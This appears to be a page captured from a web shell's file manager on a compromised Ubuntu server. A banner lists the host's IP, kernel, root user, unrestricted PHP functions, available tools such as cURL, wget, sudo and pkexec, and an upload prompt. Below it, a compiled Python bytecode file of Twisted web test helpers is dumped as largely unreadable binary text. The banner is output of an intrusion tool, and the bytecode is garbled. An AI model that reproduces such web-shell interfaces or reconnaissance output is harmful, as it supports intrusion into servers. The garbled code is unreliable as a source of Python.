Server IP : 209.38.156.173 / Your IP : 216.73.216.122 [ Web Server : Apache/2.4.52 (Ubuntu) System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64 User : root ( 0) PHP Version : 8.1.2-1ubuntu2.22 Disable Function : NONE Domains : 2 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /lib/python3/dist-packages/twisted/web/test/__pycache__/ |
Upload File : |
o �bf � @ s� d Z ddlmZ ddlmZmZ ddlmZ ddlm Z ddl mZ ddlm Z ddlmZ d d � ZG dd� de�Zd d� Zg d�ZdS )z0 General helpers for L{twisted.web} unit tests. � )�Type)�Deferred�succeed)�SynchronousTestCase)�server)� flattenString)�FlattenerError)�Flattenablec C s\ | � |�}t|t�r|�|� |�� td �S |tju r'|jr#td �S |� � S t d|����)NzUnexpected return value: )�render� isinstance�bytes�write�finishr r �NOT_DONE_YET�finished�notifyFinish� ValueError)�resource�request�result� r �8/usr/lib/python3/dist-packages/twisted/web/test/_util.py�_render s r c @ sZ e Zd ZdZdededee fdd�Zdededefdd�Zded e e dd fdd�Zd S ) �FlattenTestCasezH A test case that assists with testing L{twisted.web._flatten}. �root�target�returnc s0 dt dt f� �fdd�}td|�}|�|� |S )zS Assert that a root element, when flattened, is equal to a string. r r c s � � | ��S )N)�assertEqual)r ��selfr r r �check, s z/FlattenTestCase.assertFlattensTo.<locals>.checkN)r r �addCallback)r r r r �dr r r �assertFlattensTo'